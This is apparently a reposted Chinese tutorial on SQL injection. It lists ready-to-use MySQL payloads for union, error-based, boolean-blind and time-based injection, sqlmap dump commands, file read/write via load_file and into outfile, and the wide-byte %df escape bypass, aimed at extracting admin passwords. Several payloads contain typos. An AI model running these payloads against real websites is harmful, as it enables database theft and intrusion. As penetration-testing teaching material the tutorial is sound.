一、介紹
SQL注入漏洞在owasp top 10中排名第一,是常見的web安全漏洞,攻擊者利用漏洞,可以訪問或修改資料,或者利用潛在的資料庫漏洞進行攻擊,該漏洞是由于:1.程式員在編程時處理程式和資料庫互動時,使用字串拼接的方式構造SQL陳述句,2.未對用戶可控引數進行足夠的過濾便將引數內容拼接進入到SQL陳述句中,
注入點可能的位置:GET資料、POST資料、HTTP頭部(referer、User-agent等)(HTTP請求報文其他欄位)、cookie資料,最常用的是get、post、cookie,簡稱:GPC,
危害:1.可獲取后臺管理員密碼,2.脫庫:脫取資料庫內容,3.修改資料庫內容,4.有可能直接獲取webshell(一句話木馬)或者服務器系統權限,
漏洞分類
數字型:注入點是數字,數字兩邊沒有單引號、雙引號,陳述句中不要加單引號,
字符型:注入點是字符,有單引號、雙引號、括號,陳述句中需要加上單引號,閉合前面,
XX型:username=('xx') or 1=1; 另外多加括號,
注入手法分類
1.聯合查詢(正常注入:能看到資料庫回顯,正確或者錯誤資訊)
2.報錯注入(正常注入:能看到資料庫回顯)
3.布爾盲注(看不到回顯,看到的是頁面狀態)
4.基于時間延遲注入(屬于盲注型別,看不到回顯,看到的是頁面狀態)
5.多陳述句查詢注入(堆疊查詢;同時執行多條陳述句,主要針對增、刪、改;以上四種是基于查)
二、注釋
MYSQL資料庫的注釋有以下幾種:
1. #
2. -- 杠杠空格
3. /*.....*/
4. /*!.....*/ 行內查詢
元資料(庫名、表明、欄位名)資料庫: information_schema
三、注入點的判斷(存在以下任意一點情況,表示存在sql注入漏洞)
搜索欄內:
?d=35 +1/-1 判斷與資料庫是否有互動;有的話考慮聯合查詢
?d=35 ' 判斷注入型別;字符型、數字型:如果報錯中出現35,是字符型注入;
如果報錯中沒有35,只有',是字符型;有報錯考慮報錯注入,
?d=35 and 1=1 測驗頁面是否有布爾型別狀態:如果兩次相同表示沒有布爾型別狀態,
?d=35 and 1=2 如果兩次不同,表示有布爾型別狀態,考慮布爾盲注,
?d=35 and sleep(4) 是否有延時;考慮延時注入(絕招),
四、聯合查詢
由于資料庫中的內容會回顯到頁面中來,所以可以用聯合查詢進行注入,
陳述句:select XX union select XX
由于虛擬表是二維結構,聯合查詢會“縱向”拼接兩張虛擬的表,
必要條件:1.兩張虛擬的表具有相同的列數,2.虛擬表對應的列的資料型別(int、str、...)相同,
用order by(排序)判斷有多少列
聯合陳述句,例有15列:?d=34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
如果前一條陳述句為假,則顯示后一條陳述句的內容,加-即可變為假,
?d=-34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

根據回顯的內容,存在注入漏洞,把3與11資料庫做相應的替換,
?d=-34 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15
此時出現資料庫名與版本資訊,
進一步
聯合查詢可以實作跨庫、跨表查詢,
?d=-34 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
出現所有表名
取出密碼存放的表
查出其中出現所有欄位
直到找出后臺密碼,
五、報錯注入
在注入點的判斷程序中,發現資料庫的SQL陳述句報錯資訊會顯示在頁面中,因此可以進行報錯注入,
原理:在錯誤資訊中執行SQL陳述句,
型別:(建議直接背公式)
1.group by (分類聚合)
[?id=33 and (select 1 from (select count(*),concat(select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
2.XPATH 報錯
extractalue()
[?id=33 and extractalue(1,concat('^',(select version()),'^')) --+]
updatexml
[?id=33 and updatexml(1,concat('^',(select datebase()),'^'),1) --+]
注:--+表示注釋掉后面的sql陳述句(在URL中用--+,在Http包中用#),
六、布爾盲注
and 1=1,and 1=2 判斷是否有布爾狀態,有的話用布爾盲注,
1.首先判斷資料庫名字長度 and length(database()) > < =數值
2.一個一個字母嘗試,先取第一個字母: ascii(substr (database(),1,1))= ascii碼值
七、延時注入
原理:利用sleep()陳述句的延時性,以時間線作為判斷條件,
判斷:and sleep(5)
舉例:if(1,2,3)判斷;1為條件,真執行第二項,假執行第三項,
and if (length(database()=3),sleep(5),1)
資料庫名字長度如果等于3,那么沉睡5秒,否則回傳1;
八、sqlmap工具(kali自帶)
(一)引數
-u "URL" 檢測注入點
--dbs 列出所有資料庫的名字
--current-db 列出當前資料庫的名字
-D 指定一個資料庫
--tables 列出表名
-T 指定表名
--columns 列出所有的欄位名
-C 指定欄位
--dump 列出欄位內容
(二)post注入
1.打開后臺頁面,用BP抓包,顯示post資料,
2.在kali下vim post.txt,將post完整資料復制進來,
3.執行sqlmap -r post.txt
九、其他注入手法
(一)對服務器檔案進行讀寫操作
(1)前提
1.secure-file-priv= 不對mysqld的匯入匯出(讀寫檔案)操作做限制
secure-file-priv='c:/a/' 限制mysqld的匯入匯出操作發生在c:/a/下(子目錄有效)
secure-file-priv=null 限制mysqld 不允許匯入匯出操作
2.當前用戶具有檔案權限
3.知道要寫入檔案的絕對路徑
(2)讀取檔案操作(直接讀取檔案內容)
load_file('絕對路徑')
(3)寫入檔案操作(將要查詢內容寫入檔案)
into outfile '絕對路徑'
(二)寬位元組注入
準確來說,不是一種注入手法,而是一種比較特殊情況,
比如'單引號被轉義掉,要讓轉義失效,則在前邊加%df變為%df'
原因:%df也可以是%af...GBK是漢字編碼系統,每個漢字兩個位元組,df屬于GBK編碼范圍,
\(轉義符)的編碼是5c,也在GBK編碼范圍內;我們可以在單引號之前提交一個十六進制的字符,與5c組成一個GBK編碼的漢字,這樣sql陳述句傳入資料庫的時候,轉義字符5c,會被看做GBK漢字的低位位元組編碼,從而失去轉義作用,
0xdf5c表示漢字“運”,最終目的是排除轉義字符\的影響,讓'不被轉義掉,
(三)cookie注入
cookie注入的注入引數需要通過cookie提交,
用BP抓包,修改cookie內容,
(四)base64注入
base64是一種編碼方法,一般是在cookie資訊中用base64編碼替換,
(五)Http頭部注入
指注入欄位在HTTP頭部欄位中,這些欄位通常有Referer、User-Agent等,
十、自動化注入
全自動化工具:sqlmap、穿山甲、明小子、定制化腳本
半自動化工具:Burpsuite
十一、步驟總結
回顯:針對?id=
報錯針對加'或者"或者),即?id=2'
布爾狀態針對 and 1=1 and 1=2的變化,
1.先用?id=1,?id=2 看頁面是否有變化,有變化用聯合查詢,
2.加上' ?id=2' 查看報錯資訊,如果2顯示在資訊中,表示是字符型,除我們自己輸入的2'本身之外,后面的資訊即為閉合資訊,如圖為');不顯示是數字型,不需要閉合符號;

3.構造陳述句 ?id=2') and 1=2 union select 1,2,version() --+
')閉合掉前邊的,--+注釋掉后邊的;中間加聯合查詢陳述句, and 1=2 把前面陳述句變為假,就能顯示出union后面的內容;union select 1,2,version() 知道3個欄位,3可以替換,
4.如果添加單引號沒反應,則添加雙引號" ?id=2"
5.假如沒有回顯,添加'或者"有報錯,用報錯型注入, 報錯為字符型,閉合符號為'
?id=2' and updatexml(1,concat(0x5e,version(),0x5e),1) --+
6.特殊情況 若沒有回顯,沒有報錯
試試?id=2')) 閉合方式:XX型
用聯合查詢陳述句
7.普通情況 沒有回顯,沒有報錯,有布爾型別狀態,
布爾盲注,
8.沒有回顯,沒有報錯,沒有布爾型狀態,
絕招 延時注入sleep
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299478.html
標籤:其他
